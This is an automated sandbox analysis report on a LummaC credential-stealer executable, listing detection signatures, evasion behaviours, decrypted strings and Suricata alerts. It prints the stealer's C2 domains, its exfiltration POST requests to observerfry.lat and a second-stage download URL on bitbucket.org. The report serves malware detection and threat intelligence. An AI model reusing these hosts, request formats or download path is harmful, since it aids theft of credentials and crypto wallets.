Edit tour

Windows Analysis Report
iaLId0uLUw.exe

Overview

General Information

Sample name:	iaLId0uLUw.exe renamed because original name is a hash value
Original sample name:	473570eb1c8cf7a66605ce6a3c72bb91.exe
Analysis ID:	1580283
MD5:	473570eb1c8cf7a66605ce6a3c72bb91
SHA1:	07d247eaae187f12b4c353809a3ebf5c530a2f46
SHA256:	d0fb14b5ca4bd2b55e77a0a8e074d24be98db01cb035be9f29105235e6571029
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Detected potential crypto function

Entry point lies outside standard sections

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

iaLId0uLUw.exe (PID: 4696 cmdline: "C:\Users\user\Desktop\iaLId0uLUw.exe" MD5: 473570EB1C8CF7A66605CE6A3C72BB91)

WerFault.exe (PID: 6160 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4696 -s 1888 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["curverpluch.lat", "shapestickyr.lat", "slipperyloo.lat", "tentabatte.lat", "bashfulacid.lat", "wordyfindy.lat", "manyrestro.lat", "talkynicer.lat", "observerfry.lat"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: iaLId0uLUw.exe PID: 4696	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: iaLId0uLUw.exe PID: 4696	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: iaLId0uLUw.exe PID: 4696	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: iaLId0uLUw.exe PID: 4696	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T08:42:27.611070+0100	2028371	3	Unknown Traffic	192.168.2.5	49704	172.67.199.72	443	TCP
2024-12-24T08:42:29.726331+0100	2028371	3	Unknown Traffic	192.168.2.5	49705	172.67.199.72	443	TCP
2024-12-24T08:42:32.509284+0100	2028371	3	Unknown Traffic	192.168.2.5	49706	172.67.199.72	443	TCP
2024-12-24T08:42:35.248536+0100	2028371	3	Unknown Traffic	192.168.2.5	49707	172.67.199.72	443	TCP
2024-12-24T08:42:37.672944+0100	2028371	3	Unknown Traffic	192.168.2.5	49708	172.67.199.72	443	TCP
2024-12-24T08:42:40.427491+0100	2028371	3	Unknown Traffic	192.168.2.5	49710	172.67.199.72	443	TCP
2024-12-24T08:42:43.074762+0100	2028371	3	Unknown Traffic	192.168.2.5	49714	172.67.199.72	443	TCP
2024-12-24T08:42:47.876723+0100	2028371	3	Unknown Traffic	192.168.2.5	49732	172.67.199.72	443	TCP
2024-12-24T08:42:50.383357+0100	2028371	3	Unknown Traffic	192.168.2.5	49735	185.166.143.50	443	TCP
2024-12-24T08:42:52.779514+0100	2028371	3	Unknown Traffic	192.168.2.5	49744	3.5.17.0	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T08:42:28.368044+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49704	172.67.199.72	443	TCP
2024-12-24T08:42:30.507390+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49705	172.67.199.72	443	TCP
2024-12-24T08:42:48.659586+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49732	172.67.199.72	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T08:42:28.368044+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49704	172.67.199.72	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T08:42:30.507390+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49705	172.67.199.72	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T08:42:33.822126+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49706	172.67.199.72	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T08:42:43.124531+0100	2843864	1	A Network Trojan was detected	192.168.2.5	49714	172.67.199.72	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: iaLId0uLUw.exe

Avira: detected

Found malware configuration

Source: iaLId0uLUw.exe.4696.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["curverpluch.lat", "shapestickyr.lat", "slipperyloo.lat", "tentabatte.lat", "bashfulacid.lat", "wordyfindy.lat", "manyrestro.lat", "talkynicer.lat", "observerfry.lat"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for submitted file

Source: iaLId0uLUw.exe	ReversingLabs: Detection: 57%
Source: iaLId0uLUw.exe	Virustotal: Detection: 48%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: iaLId0uLUw.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp	String decryptor: bashfulacid.lat
Source: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp	String decryptor: tentabatte.lat
Source: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp	String decryptor: curverpluch.lat
Source: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp	String decryptor: talkynicer.lat
Source: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp	String decryptor: shapestickyr.lat
Source: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp	String decryptor: manyrestro.lat
Source: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp	String decryptor: slipperyloo.lat
Source: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp	String decryptor: wordyfindy.lat
Source: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp	String decryptor: observerfry.lat
Source: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp	String decryptor: LOGS11--LiveTraffic

Source: C:\Users\user\Desktop\iaLId0uLUw.exe

Code function: 0_2_003858D5 LdrInitializeThunk,CryptUnprotectData,LdrInitializeThunk,LdrInitializeThunk,

0_2_003858D5

Source: iaLId0uLUw.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.5:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.166.143.50:443 -> 192.168.2.5:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.5.17.0:443 -> 192.168.2.5:49744 version: TLS 1.2

Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then mov eax, ebx	0_2_0038C8A0
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-000000BEh]	0_2_0038C8A0
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+edx+0Ah]	0_2_0038C8A0
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-2E3D7ACEh]	0_2_0038C8A0
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00391A10
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then movzx ecx, byte ptr [edx+eax]	0_2_00393B50
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_0039D34A
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	0_2_003B0340
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then mov edi, dword ptr [esi+30h]	0_2_0037CC7A
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then mov eax, ebx	0_2_00397440
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+09AD4080h]	0_2_00397440
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-16h]	0_2_003B0D20
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then mov edx, ebx	0_2_00378600
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then mov ecx, eax	0_2_00392E6D
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then jmp edx	0_2_00392E6D
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then movzx ecx, byte ptr [edx+eax]	0_2_00392E6D
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-16h]	0_2_003B1720
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	0_2_00392830
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+04h]	0_2_003AC830
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then push esi	0_2_0037C805
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_0039C850
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then mov ecx, eax	0_2_0038D8AC
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then mov ecx, eax	0_2_0038D8AC
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_0039C09E
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then mov edx, ecx	0_2_0038B8F6
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then mov edx, ecx	0_2_0038B8F6
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_0039C0E6
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then mov ecx, eax	0_2_0038D8D8
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then mov ecx, eax	0_2_0038D8D8
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_0039E0DA
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then mov esi, ecx	0_2_003990D0
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then mov ecx, eax	0_2_0039D116
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then mov ecx, eax	0_2_0039D17D
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	0_2_0039B170
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then mov eax, dword ptr [003B6130h]	0_2_00388169
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx-16h]	0_2_003B1160
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_0039C09E
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then jmp edx	0_2_003939B9
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then movzx ecx, byte ptr [edx+eax]	0_2_003939B9
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 385488F2h	0_2_003AC990
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_0039B980
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	0_2_003989E9
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	0_2_003981CC
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_003A6210
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then lea esi, dword ptr [eax+00000270h]	0_2_00378A50
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then cmp dword ptr [ecx+ebx*8], 385488F2h	0_2_003ACA40
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	0_2_0039AAC0
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then mov edx, ecx	0_2_00388B1B
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then mov ecx, eax	0_2_0038C300
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+0Ah]	0_2_0037AB40
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-6E2DD57Fh]	0_2_0038EB80
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	0_2_003983D8
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	0_2_003773D0
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	0_2_003773D0
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_0038747D
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then mov word ptr [edx], di	0_2_0038747D
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then movzx edx, byte ptr [eax+edi-74D5A7FEh]	0_2_0039C465
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_0039C465
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	0_2_00384CA0
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	0_2_00398528
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then mov edx, ecx	0_2_00396D2E
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then movzx ecx, byte ptr [esi+eax+61765397h]	0_2_0038B57D
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then dec edx	0_2_003AFD70
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then mov edi, ecx	0_2_0039A5B6
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_0039DDFF
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 2213E57Fh	0_2_003ACDF0
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-3ECB279Fh]	0_2_003ACDF0
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 2213E57Fh	0_2_003ACDF0
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then cmp dword ptr [ebp+ebx*8+00h], 7F7BECC6h	0_2_003ACDF0
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then movzx esi, byte ptr [ebp+eax-46h]	0_2_003AEDC1
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then dec edx	0_2_003AFE00
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_0039DE07
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then mov edx, ecx	0_2_00399E80
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-16h]	0_2_003B06F0
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then jmp eax	0_2_00399739
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then mov edi, dword ptr [esp+28h]	0_2_00395F1B
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then mov ecx, eax	0_2_0039BF13
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00386F52
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+20h]	0_2_00397740
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then mov dword ptr [esp+20h], eax	0_2_00379780
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 4x nop then jmp edx	0_2_003937D6

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49704 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49704 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49706 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49705 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49732 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:49714 -> 172.67.199.72:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: curverpluch.lat
Source: Malware configuration extractor	URLs: shapestickyr.lat
Source: Malware configuration extractor	URLs: slipperyloo.lat
Source: Malware configuration extractor	URLs: tentabatte.lat
Source: Malware configuration extractor	URLs: bashfulacid.lat
Source: Malware configuration extractor	URLs: wordyfindy.lat
Source: Malware configuration extractor	URLs: manyrestro.lat
Source: Malware configuration extractor	URLs: talkynicer.lat
Source: Malware configuration extractor	URLs: observerfry.lat

Source: Joe Sandbox View	IP Address: 172.67.199.72 172.67.199.72
Source: Joe Sandbox View	IP Address: 185.166.143.50 185.166.143.50

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49706 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49704 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49714 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49732 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49735 -> 185.166.143.50:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49707 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49708 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49705 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49710 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49744 -> 3.5.17.0:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 53Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=1A5A5YR9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12781Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=TYB8JOBW9AC69N83M8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15083Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=V235NRCGSAXB04User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20549Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=MCEEVKUIPATUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1218Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=MK8BJNVSVOPEFO9KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 569631Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 88Host: observerfry.lat
Source: global traffic	HTTP traffic detected: GET /mynewworkspace123312/scnd/downloads/FormattingCharitable.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: bitbucket.org
